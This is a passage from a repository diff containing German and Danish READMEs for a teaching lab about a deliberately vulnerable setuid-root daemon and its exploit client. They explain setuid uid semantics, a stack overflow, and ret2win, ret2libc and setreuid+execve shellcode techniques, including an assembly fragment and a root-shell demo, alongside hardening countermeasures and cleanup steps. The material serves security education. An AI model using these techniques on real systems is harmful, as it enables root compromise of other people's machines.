| Angriffsklasse | Alte Behauptung | Warum sie auf einem modernen Rechner scheitert |
|
||||||
|
|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` einer bösartigen Bibliothek | „Das Setuid-Programm lädt meine `.so` und führt meinen Code als root aus." | Der Kernel markiert ein Setuid-Binärprogramm als **AT_SECURE**; glibc ignoriert daraufhin `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` und Verwandtes. Die Umgebung wird als *unvertrauenswürdige Eingabe* behandelt. `LD_PRELOAD` gegen ein Setuid-Binärprogramm ist eine No-Operation. |
|
||||||
|
| `PATH`-Hijack (`system("ls")` mit vergiftetem PATH) | „Zeige PATH auf ein Verzeichnis mit meinem falschen `ls`; das Root-Programm führt es aus." | Ein zweites Gesicht derselben Verteidigung: Ein AT_SECURE-Prozess bekommt einen **bereinigten `PATH`** (einen sicheren Standard, in etwa `/usr/local/bin:/usr/bin:/bin`) für `system()`/`execvp`, sodass das vergiftete Verzeichnis nie konsultiert wird. |
|
||||||
|
| Setuid-`system()`-Befehlsinjektion | „Der injizierte Befehl läuft mit euid 0." | `system()` führt den Befehl in einer frischen `/bin/sh` aus, und diese Shell — §5.2 — setzt `euid = ruid` beim Start zurück. Der injizierte Befehl läuft mit der *realen* uid. (Es ist immer noch ein Bug; er eskaliert nur nicht mehr über `/bin/sh`.) |
|
||||||
|
| Setuid-Root-Shell auf der Platte (`cp /bin/sh /tmp; chmod u+s`) | „Führe sie aus, bekomme root." | Genau die Verteidigung oben, und das ist der Grund, warum moderne Distributionen keine Setuid-Root-Shell ausliefern. Selbst wenn dir eine gelingt, weigert sich bash, euid 0 zu behalten, sofern es nicht mit `-p` gestartet wird. |
|
||||||
|
|
||||||
|
Was lebendig bleibt, und das ist dieses Labor: **Das Programm ist beim Laufen
|
||||||
|
*bereits* root.** Du brauchst weder die Umgebung noch `system()`; du brauchst,
|
||||||
|
dass das Programm *deinen* Code (über einen Memory-Corruption-Bug) ausführt,
|
||||||
|
solange es privilegiert ist, und dein Code muss vorsichtig genug sein, den
|
||||||
|
uid-Mismatch selbst zu beheben — `setreuid(0,0)` — bevor er dir eine Shell
|
||||||
|
übergibt. Memory Corruption + SUID ist die Kombination, die immer noch in
|
||||||
|
`uid=0` endet, und genau deshalb sind speichersichere Sprachen, Canaries und
|
||||||
|
No-Execute-Stacks keine Modeentscheidung.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Die in den Daemon eingebauten Sicherheitsleitplanken
|
||||||
|
|
||||||
|
`foosd` ist absichtlich das *schlechteste* Stück Software in diesem
|
||||||
|
Repository, also trägt es auch die meisten Leitplanken:
|
||||||
|
|
||||||
|
1. **Nur Loopback, erzwungen.** `foosd` weigert sich, eine andere Adresse als
|
||||||
|
Loopback zu binden, sofern du nicht `-L` übergibst. Ein Setuid-Root-Listener
|
||||||
|
auf einer echten Schnittstelle ist ein entfernter Root-Dienst; die Weigerung
|
||||||
|
ist der Standard, damit der gefährliche Zustand bewusst eingetippt werden
|
||||||
|
muss.
|
||||||
|
2. **Selbstdiagnose.** Beim Start loggt es `ruid`/`euid` und ob es als root
|
||||||
|
läuft, sodass die Konsole den Zustand zeigt, von dem der Exploit abhängt.
|
||||||
|
3. **Das Log erreicht den Client nie.** Der Daemon reserviert einen privaten
|
||||||
|
Log-Deskriptor, bevor Sockets fd 1 ersetzen, sodass Crash-Reporter-Ausgabe
|
||||||
|
und interne Pfade vom Angreifer nicht über die Leitung zurückgelesen werden
|
||||||
|
können.
|
||||||
|
4. **Crash-Reporter.** Ein SIGSEGV-Handler loggt `RIP`/`RSP` — den Wert, den
|
||||||
|
der Angreifer in die Rücksprungadresse geschrieben hat — sodass eine
|
||||||
|
erfolgreiche Übernahme in `foosd.log` sichtbar ist, statt ein stiller Tod zu
|
||||||
|
sein.
|
||||||
|
5. **`make unsetuid`.** Das Entfernen des Bits ist skriptiert, denn es gesetzt
|
||||||
|
zu lassen ist der Ausfallmodus, den Leute tatsächlich haben.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Gegenmaßnahmen — was jede stoppt und was nicht
|
||||||
|
|
||||||
|
Angewendet auf `foosd` via `make hardened`, einzeln oder zusammen:
|
||||||
|
|
||||||
|
| Gegenmaßnahme | Was sie stoppt | Was sie *nicht* stoppt |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (Canary) | Den Overflow: `ret` erkennt einen zerstörten Canary und bricht ab, bevor die Adresse des Angreifers verwendet wird. Stoppt hier **alle vier** Techniken — sie teilen sich das eine angreifbare `read()`. | Nichts am *Design*: Das Binärprogramm ist immer noch setuid-root; ein anderer Bug (Format-String-`%n`, Heap-Overflow, Use-after-Free) hat keinen Canary zum Auslösen. |
|
||||||
|
| `-fPIE -pie` (ASLR für das Binärprogramm) | Nutzung vorhersagbarer `win()`/`win_root()`-Adressen (die ret2win-Techniken). | Die Shellcode-Technik, wenn weiterhin eine Stack-Adresse leakt (die `BUF=`-Zeile). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | Den Shellcode: Die CPU weigert sich, Befehle von einer daten-only-Seite zu holen, sodass ein Sprung auf `buf` ein SIGSEGV ist. | ROP — das Ausführen vorhandenen Codes (`ret2libc`). |
|
||||||
|
| Alle drei zusammen | Ein schwer zu überlaufendes, randomisiertes Binärprogramm mit nicht-ausführbarem Stack. So sieht ein normaler gehärteter Build aus. | Das Setuid-Bit. **Ein gehärtetes SUID-Binärprogramm ist immer noch ein SUID-Binärprogramm.** Wenn irgendein erreichbarer Speichersicherheitsbug überlebt, ist es immer noch „Bug in einem Root-Prozess". |
|
||||||
|
|
||||||
|
Der Konsolenbeweis ist `make test-hardened`, das den gehärteten Build
|
||||||
|
eintauscht und zeigt, wie alle Techniken am Canary sterben, während
|
||||||
|
`foosd_hardened.log` `*** stack smashing detected ***` aufzeichnet.
|
||||||
|
|
||||||
|
Zwei Designebenen-Gegenmaßnahmen, die keine Compiler-Flag liefert und die auch
|
||||||
|
das übergeordnete Labor (`food`) nutzt:
|
||||||
|
|
||||||
|
- **Least Privilege.** Ein Daemon für einen unprivilegierten Port (2343 > 1024)
|
||||||
|
hat keinen legitimen Bedarf an root. Ein korrektes `foosd` würde binden und
|
||||||
|
dann `setgroups`/`setgid`/`setuid` auf ein unprivilegiertes Konto ausführen
|
||||||
|
und *verifizieren, dass es hielt* (die korrekte Version steht im Quellcode
|
||||||
|
als `drop_privs()`, nie aufgerufen — die Nicht-Aufrufung ist Bug #3 des
|
||||||
|
Labors).
|
||||||
|
- **Das read begrenzen.** `n = read(fd, buf, sizeof(buf) - 1)`. Eine korrekte
|
||||||
|
Zeile schlägt jede Compiler-Flag in der Tabelle.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Das Wire-Protokoll (damit du den Daemon mit netcat lesen kannst)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — durfte nicht als `euid=`/`ruid=` gedruckt werden, weil die
|
||||||
|
Test-Harness eine Shell anhand des wörtlichen `uid=` beweist und das Banner
|
||||||
|
es nicht enthalten darf (eine Sonde, die die Signatur mit der Antwort teilt,
|
||||||
|
ist eine klassische Fehlpositiv-Falle; siehe den Kommentar in `foosd.c`).
|
||||||
|
Die Harness verlangt außerdem die strenge `id`-Ausgabeform — `uid=NNN(...)` —
|
||||||
|
sodass nichts, was der Daemon oder der Exploit druckt, die Prüfung zufällig
|
||||||
|
erfüllen kann: `foosc`s eigenes „target euid=… ruid=…" enthält `uid=` als
|
||||||
|
Teilstring, was einmal einen gehärteten Test eine nie gelaufene Shell melden
|
||||||
|
ließ.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — die ASLR-Leaks: erlauben Shellcode und ret2libc,
|
||||||
|
exakte Adressen zu berechnen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Übungen
|
||||||
|
|
||||||
|
1. **Beobachte die Nicht-Root-Abstufung.** Führe `make test` *vor* `make
|
||||||
|
setuid` aus, dann danach erneut. Erkläre die `ROOT=SEEN`-Änderung mit der
|
||||||
|
ruid/euid-Geschichte aus §5.2.
|
||||||
|
2. **Lies den Absturz.** Führe `./foosc -t demo -n` aus und lies dann
|
||||||
|
`foosd.log`. Die Zeile `RIP=0x4141414141414141` ist das Padding des
|
||||||
|
Angreifers — der Beweis, dass der Overflow, nicht Pech, die Ausführung
|
||||||
|
kontrolliert.
|
||||||
|
3. **Füge den Canary hinzu.** `make hardened` und ändere die
|
||||||
|
`test-hardened`-Schleife selbst; die Log-Zeile
|
||||||
|
`*** stack smashing detected ***` ist die arbeitende Verteidigung.
|
||||||
|
4. **Deaktiviere das Leak.** Kommentiere die `BUF=`-Zeile in `foosd.c` aus,
|
||||||
|
baue neu und beobachte, wie `-t shellcode` von deterministisch zu einem
|
||||||
|
Ratespiel wird. Diese eine Zeile ist der Grund, warum echte
|
||||||
|
ASLR-Bypasses ein ganzes Feld sind.
|
||||||
|
5. **Das `-p`-Experiment.** Ändere in einer Kopie von `win()` `execl("/bin/sh",
|
||||||
|
"sh", NULL)` zu `execl("/bin/sh", "sh", "-p", NULL)` und beobachte root.
|
||||||
|
`-p` ist die dokumentierte Notluke aus dem Wächter der Shell — und der
|
||||||
|
Grund, warum der Rat „spawne einfach eine Shell" aus alten Write-ups
|
||||||
|
unvollständig ist.
|
||||||
|
6. **Warum nicht `setuid(0)`?** Schreibe den Shellcode so um, dass er
|
||||||
|
`setuid(0)` statt `setreuid(0,0)` aufruft (Syscall 105). Die Shell landet
|
||||||
|
trotzdem — und fällt trotzdem auf `uid=1000`. Das ist das lehrreichste
|
||||||
|
Ein-Zeilen-Experiment im gesamten Repository.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Sicherheit und Aufräumen
|
||||||
|
|
||||||
|
- Nur Loopback, standardmäßig und per Design; `-L` bindet weiter, und nur eine
|
||||||
|
Wegwerf-VM sollte es überhaupt in Betracht ziehen.
|
||||||
|
- Dies ist ein Root-Shell-Labor. Führe es nicht auf einer Maschine aus, die
|
||||||
|
wichtig ist, und richte `foosc -h` nicht auf etwas, das dir nicht gehört.
|
||||||
|
- Aufräumritual: `make stop` und dann `make unsetuid`, und wenn du den Baum
|
||||||
|
wieder makellos willst: `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
389
suid/README.DK.md
Normal file
389
suid/README.DK.md
Normal file
|
|
@ -0,0 +1,389 @@
|
||||||
|
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
|
||||||
|
|
||||||
|
En ledsager til det overordnede laboratorium (`food` / `fooc`, en almindelig
|
||||||
|
daemon, hvor et bufferoverløb giver dig en *bruger*-shell). Dette tilføjer den
|
||||||
|
farligste en-tegns-ændring i Unix: **setuid-bitten**.
|
||||||
|
|
||||||
|
> `chmod u+s` forvandler "angriberen kan køre kode på denne host" til
|
||||||
|
> "angriberen kan køre kode som **root** på denne host".
|
||||||
|
|
||||||
|
Den sætning er hele laboratoriet. Alt herunder er mekanismen under den, skrevet
|
||||||
|
ned, så du, når du skriver din egen software, præcist ved, hvilke to eller tre
|
||||||
|
filsystem-attributter og compiler-flag der afgør, om en
|
||||||
|
hukommelsessikkerhedsfejl i din kode er en gene eller en root-shell.
|
||||||
|
|
||||||
|
Den endelige demo, når `foosd` er setuid-root, er en **root-shell**, der åbnes
|
||||||
|
over netværket ved at udføre 32 bytes håndskrevet shellcode.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Hvad setuid-bitten rent faktisk gør
|
||||||
|
|
||||||
|
Hver proces på Linux bærer tre user-ID'er, og setuid-bitten piller ved
|
||||||
|
forholdet mellem dem:
|
||||||
|
|
||||||
|
| ID | Navn | Betydning |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | reelle user-ID | kontoen, der *startede* processen |
|
||||||
|
| `euid` | effektive user-ID | det, kernen tjekker, når den håndhæver adgang |
|
||||||
|
| (saved) | gemte set-user-ID | en "slot", en privilegeret proces må vende tilbage til senere |
|
||||||
|
|
||||||
|
Et normalt program har `ruid == euid`. Når du udfører en binærfil med
|
||||||
|
setuid-bitten sat, ejet af root:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = dig (fx. 1000, "hanez")
|
||||||
|
euid = ejeren (fx. 0, "root")
|
||||||
|
```
|
||||||
|
|
||||||
|
Processen har derfor **roots autoritet**, selvom brugeren, der startede den, er
|
||||||
|
helt almindelig. Hvert tjek, kernen udfører — kan denne proces læse
|
||||||
|
`/etc/shadow`? skrive en fil? dræbe en anden proces? — besvares med `euid`,
|
||||||
|
dvs. "ja, den er root".
|
||||||
|
|
||||||
|
`foosd` er en netværksdaemon. Den binder en port og `fork()`er derefter et barn
|
||||||
|
per forbindelse. En fork *arver* euid'en, så hvert barn, der håndterer en
|
||||||
|
forbindelse, også er root. Overløbet i `foosd`s `vulnerable_handler()` er
|
||||||
|
derfor et overløb *inde i en root-proces*.
|
||||||
|
|
||||||
|
**Diagnosticér det selv, når daemonen kører:**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # se den loglinje, den printer ved start
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
og fra exploitet:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Laboratoriet ved et øjekast
|
||||||
|
|
||||||
|
| Fil | Rolle |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | Den bevidst sårbare daemon (ejer fejlene). Kør som *setuid-root*-binærfil til root-shell-demoen. |
|
||||||
|
| `foosc.c` | Exploitet. Bruger som standard den 32-byte `setreuid + execve`-shellcode-teknik. |
|
||||||
|
| `shellcode.S` | Reference-shellcoden; `make verify` diff'er den mod byte-arrayet i `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gennem et pseudo-terminal og beviser både "en shell kørte" *og* "den var root" (`uid=0(`). |
|
||||||
|
| `Makefile` | Build, `setuid`/`unsetuid`-hjælpere, testmatrix. |
|
||||||
|
| `README.md` | Denne fil. |
|
||||||
|
|
||||||
|
> **Hvorfor en pty?** Exploitets sidste handling er at videresende din terminal
|
||||||
|
> til shellen, der udfører på offeret. En pipe eller her-doc lander i den
|
||||||
|
> forkerte ende af den videresendelse; en ægte terminal er påkrævet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Hurtig start
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # byg alt, som din normale bruger
|
||||||
|
$ make setuid # én gang, spørger om sudo: chown root + chmod u+s
|
||||||
|
$ make run # start foosd på 127.0.0.1:2343
|
||||||
|
$ make test-suid # fuld matrix; shellcode + ret2win-root skal give root
|
||||||
|
```
|
||||||
|
|
||||||
|
Interaktiv rygeprøve:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Når du er færdig:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # hygiejne: efterlad aldrig en root-SUID-binærfil
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *Hvornår skal jeg sætte SUID-bitten?* — svaret, du bad om
|
||||||
|
|
||||||
|
Præcis **én gang, efter bygningen, før du starter daemonen til
|
||||||
|
root-shell-demoerne** — og kun på en maskine, der er din, velegnet til at smide
|
||||||
|
væk og frakoblet netværket:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # kompilér foosd, foosc, tests
|
||||||
|
$ make setuid # <-- ØJEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # start EFTER at have sat bitten
|
||||||
|
```
|
||||||
|
|
||||||
|
To regler, der betyder mere end det præcise tidspunkt:
|
||||||
|
|
||||||
|
1. **Sæt den kun, når binærfilen er færdig.** Hvis du genbygger (`make` /
|
||||||
|
`make clean`), efter du har sat bitten, rammer du et "Permission denied",
|
||||||
|
når du skriver root-ejede outputfiler — og hvis du tvinger genbygningen,
|
||||||
|
genskaber værktøjskæden filen **uden** `s`-en og fortryder stille og roligt
|
||||||
|
opsætningen. Den kanoniske rækkefølge ved enhver genbygning er derfor
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Fjern den, når du er færdig.** `make unsetuid`. En levende,
|
||||||
|
root-ejet setuid-binærfil med en udnyttelig fejl i dit træ er ikke et
|
||||||
|
læremiddel, det er et root-hul med en kompileringsfejl mellem sig og
|
||||||
|
ingenting. På en delt eller produktionsmaskine: **lav ikke noget af
|
||||||
|
dette.** Daemonen nægter desuden som standard at binde andet end loopback
|
||||||
|
(se §7).
|
||||||
|
|
||||||
|
Hvis du kører exploitet *uden* nogensinde at sætte bitten, går intet i stykker
|
||||||
|
— payloaden lander stadig, og du får stadig en shell. Forskellen er i ét tal,
|
||||||
|
og exploitet siger det højt:
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
Det "virker, men ikke root"-resultat er selv en del af laboratoriet. Husk det
|
||||||
|
til næste afsnit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Mekanismen — og drejningen, der gør SUID interessant
|
||||||
|
|
||||||
|
### 5.1 Overløbet (identisk med `food`)
|
||||||
|
|
||||||
|
`foosd`s handler giver et `read()` 512 bytes tillid, mens den rækker den et
|
||||||
|
64-byte stack-buffer:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
|
||||||
|
```
|
||||||
|
|
||||||
|
På x86-64 vokser stacken nedad. Exploitet skriver 64 bytes junk for at fylde
|
||||||
|
`buf`, 8 for at fylde den gemte framepointer og 8 mere for at erstatte den
|
||||||
|
**gemte returadresse**. Når `vulnerable_handler` udfører `ret`, popper CPU'en
|
||||||
|
angriberens værdi ind i `RIP` — angriberkontrolleret kodeudførelse. Exploitet
|
||||||
|
finder den præcise afstand (88 bytes for denne build) ved at parse
|
||||||
|
`objdump`-output i stedet for at hardkode det, så tallet overlever genbygninger.
|
||||||
|
|
||||||
|
### 5.2 Drejningen: shellen nægter at være root
|
||||||
|
|
||||||
|
Her er det, hvor at tænke "SUID-fejl → spawn /bin/sh → root" ville gå galt, og
|
||||||
|
hvorfor dette laboratorium har præcis den form, det har.
|
||||||
|
|
||||||
|
Når et setuid-root-program kører, er dets `ruid` stadig den startende bruger,
|
||||||
|
og dets `euid` er root. Hvis programmet — eller angriberen — nu starter en
|
||||||
|
shell:
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` ændrer **ikke** uiderne; den nye proces arver
|
||||||
|
`(ruid=1000, euid=0)`.
|
||||||
|
* bash (og dash) **tjekker præcis den tilstand ved start**. Fra bash-manualen:
|
||||||
|
*"If the shell is started with the effective user (group) id not equal to
|
||||||
|
the real user (group) id, and the -p option is not supplied, … the effective
|
||||||
|
user id is set to the real user id."*
|
||||||
|
|
||||||
|
Så shellen kigger på sig selv og *dropper root* — et forsvar, som
|
||||||
|
shell-forfatterne byggede præcis mod dette angreb (den historiske begrundelse
|
||||||
|
var setuid-shell-/setuid-script-problemet). Resultatet er "virker, men ikke
|
||||||
|
root"-tilfældene:
|
||||||
|
|
||||||
|
| Teknik | Hvad den udfører | Resulterende uid |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landede, root nulstillet af bash |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → frisk `sh -c '/bin/sh'` | **1000** — samme nulstilling, et niveau nede |
|
||||||
|
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
|
||||||
|
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
|
||||||
|
|
||||||
|
De to, der når root, adskiller sig fra de to, der ikke gør, med præcis én idé:
|
||||||
|
**de rydder den *reelle* uid, ikke kun den effektive.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* sætter euid til 0, men ruid forbliver 1000:
|
||||||
|
bash ser stadig euid != ruid og nulstiller STADIG. */
|
||||||
|
setreuid(0, 0) /* sætter BEGGE: ruid = euid = 0.
|
||||||
|
bash ser lige uider og beholder root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
Det er derfor, den klassiske `/bin/sh`-shellcode, du finder overalt på
|
||||||
|
internettet, starter med et uid-ryddende syscall — og det er grunden til, at
|
||||||
|
shellcoden her er 32 bytes i stedet for 23: de første fem instruktioner er
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 Så hvad er exploitet, ende til ende?
|
||||||
|
|
||||||
|
1. `foosc` læser `foosd`s banner over socket'en. Det får:
|
||||||
|
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
|
||||||
|
- `stack=…` og `libc=…` — pointers (ASLR-leaksene)
|
||||||
|
- `BUF=…` — den nøjagtige adresse på det buffer, den er ved at løbe over
|
||||||
|
2. Fra target-binærfilen (via `objdump`) lærer det `rip_off` og adresserne på
|
||||||
|
`win()` / `win_root()`.
|
||||||
|
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et hukommelsesscan)
|
||||||
|
måler det offsets for `system`, `read`, `/bin/sh` og et
|
||||||
|
`pop rdi; ret`-gadget — intet er hardkodet.
|
||||||
|
4. Det samler payloaden. For `-t shellcode` er det:
|
||||||
|
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
|
||||||
|
5. `foosd`s `read()` løber over; `ret` lander på shellcoden; kernen udfører
|
||||||
|
`setreuid(0,0)` (fint: euid 0 er privilegeret) og derefter `execve` af
|
||||||
|
`/bin/sh`. bash starter med `ruid == euid == 0` og forbliver root.
|
||||||
|
6. `foosc` videresender din terminal til den root-shell, indtil du skriver
|
||||||
|
`exit`.
|
||||||
|
|
||||||
|
Én bekvemmelighedsdetalje, der koster folk meget tid, hvis den overses:
|
||||||
|
exploitet tester hver uid-ryddende adfærd **uden** først at have brug for
|
||||||
|
setuid-bitten. Kør `make test` før `make setuid`, og du vil se hver teknik
|
||||||
|
lande en shell, mens `ROOT=MISSING` står; kør `make test-suid` efter `make
|
||||||
|
setuid`, og `ROOT=SEEN` dukker op ved de to teknikker, der rydder den reelle
|
||||||
|
uid. Det A/B er hele lektionen, udførligt på ti sekunder.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. De gamle one-liners — og hvorfor de fleste af dem er døde
|
||||||
|
|
||||||
|
Har du læst om SUID, har du læst om `PATH`-kapring, `LD_PRELOAD` og
|
||||||
|
setuid-shells. Alle tre er klassiske, og alle tre fejler på et moderne system
|
||||||
|
mod *dette program*. Det er værd at vide præcis hvorfor, fordi grundene er de
|
||||||
|
forsvar, du får gratis:
|
||||||
|
|
||||||
|
| Angrebsklasse | Gamle påstand | Hvorfor den fejler på en moderne maskine |
|
||||||
|
|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` af et ondsindet bibliotek | "Setuid-programmet loader min `.so` og kører min kode som root." | Kernen markerer en setuid-binærfil som **AT_SECURE**; glibc ignorerer derefter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *utroverdig input*. `LD_PRELOAD` mod en setuid-binærfil er en no-op. |
|
||||||
|
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | "Peg PATH mod et bibliotek med min falske `ls`; root-programmet kører den." | Et andet ansigt af samme forsvar: en AT_SECURE-proces får en **saneret `PATH`** (en sikker standard, nogenlunde `/usr/local/bin:/usr/bin:/bin`) til `system()`/`execvp`, så det forgiftede bibliotek aldrig konsulteres. |
|
||||||
|
| Setuid-`system()`-kommandoinjektion | "Den injicerede kommando kører med euid 0." | `system()` kører kommandoen i en frisk `/bin/sh`, og den shell — §5.2 — nulstiller `euid = ruid` ved start. Den injicerede kommando udføres med den *reelle* uid. (Det er stadig en fejl; den eskalerer bare ikke længere gennem `/bin/sh`.) |
|
||||||
|
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | "Kør den, få root." | Præcis forsvaret ovenfor, og det er grunden til, at moderne distroer ikke leverer nogen setuid-root-shell. Selv når det lykkes at lave én, nægter bash at beholde euid 0, medmindre den startes med `-p`. |
|
||||||
|
|
||||||
|
Hvad der forbliver i live, og det er dette laboratorium: **programmet er
|
||||||
|
*allerede* root, når det kører.** Du behøver ikke miljøet eller `system()`; du
|
||||||
|
har brug for, at programmet udfører *din* kode (via en
|
||||||
|
hukommelseskorruptionsfejl), mens det er privilegeret, og din kode skal være
|
||||||
|
omhyggelig nok til selv at rette uid-mismatchet — `setreuid(0,0)` — før den
|
||||||
|
overrækker dig en shell. Hukommelseskorruption + SUID er kombinationen, der
|
||||||
|
stadig ender i `uid=0`, hvilket er præcis hvorfor hukommelsessikre sprog,
|
||||||
|
canaries og no-execute-stacks ikke er en modebeslutning.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. De sikkerhedsgelændere, der er bygget ind i daemonen
|
||||||
|
|
||||||
|
`foosd` er bevidst det *dårligste* stykke software i dette repository, så det
|
||||||
|
bærer også flest gelændere:
|
||||||
|
|
||||||
|
1. **Kun loopback, håndhævet.** `foosd` nægter enhver bind-adresse ud over
|
||||||
|
loopback, medmindre du giver `-L`. En setuid-root-listener på en rigtig
|
||||||
|
grænseflade er en fjern root-tjeneste; afslaget er standarden, så den
|
||||||
|
farlige tilstand skal skrives bevidst ind.
|
||||||
|
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kører som
|
||||||
|
root, så konsollen viser den tilstand, exploitet afhænger af.
|
||||||
|
3. **Loggen når aldrig klienten.** Daemonen reserverer en privat
|
||||||
|
log-descriptor, før sockets erstatter fd 1, så crash-reporter-output og
|
||||||
|
interne stier ikke kan læses tilbage over ledningen af angriberen.
|
||||||
|
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den værdi,
|
||||||
|
angriberen skrev ind i returadressen — så en vellykket kapring er synlig i
|
||||||
|
`foosd.log` i stedet for at være en stille død.
|
||||||
|
5. **`make unsetuid`.** Fjernelse af bitten er scriptet, fordi at efterlade den
|
||||||
|
sat er den fiaskotilstand, folk rent faktisk har.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Modforanstaltninger — hvad hver stopper, og hvad den *ikke* stopper
|
||||||
|
|
||||||
|
Anvendt på `foosd` via `make hardened`, én ad gangen eller sammen:
|
||||||
|
|
||||||
|
| Modforanstaltning | Hvad den stopper | Hvad den *ikke* stopper |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (canary) | Overløbet: `ret` opdager en smadret canary og abort'er, før angriberens adresse bruges. Stopper her **alle fire** teknikker — de deler det ene sårbare `read()`. | Intet ved *designet*: binærfilen er stadig setuid-root; en anden fejl (format-string-`%n`, heap-overflow, use-after-free) har ingen canary at udløse. |
|
||||||
|
| `-fPIE -pie` (ASLR for binærfilen) | Brug af forudsigelige `win()`/`win_root()`-adresser (ret2win-teknikkerne). | Shellcode-teknikken, hvis en stack-adresse stadig lækker (`BUF=`-linjen). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU'en nægter at hente instruktioner fra en data-only-side, så et hop til `buf` er et SIGSEGV. | ROP — at køre kode, der allerede findes (`ret2libc`). |
|
||||||
|
| Alle tre sammen | En svær-at-overløbe, randomiseret binærfil med ikke-eksekverbar stack. Sådan ser en normal hærdet build ud. | Setuid-bitten. **En hærdet SUID-binærfil er stadig en SUID-binærfil.** Hvis nogen nåbar hukommelsessikkerhedsfejl overlever, er det stadig "fejl i en root-proces". |
|
||||||
|
|
||||||
|
Konsolbeviset er `make test-hardened`, som bytter den hærdede build ind og viser
|
||||||
|
alle teknikker dø ved canaryen, mens `foosd_hardened.log` optager
|
||||||
|
`*** stack smashing detected ***`.
|
||||||
|
|
||||||
|
To designniveau-modforanstaltninger, som intet compiler-flag leverer, og som det
|
||||||
|
overordnede laboratorium (`food`) også bruger:
|
||||||
|
|
||||||
|
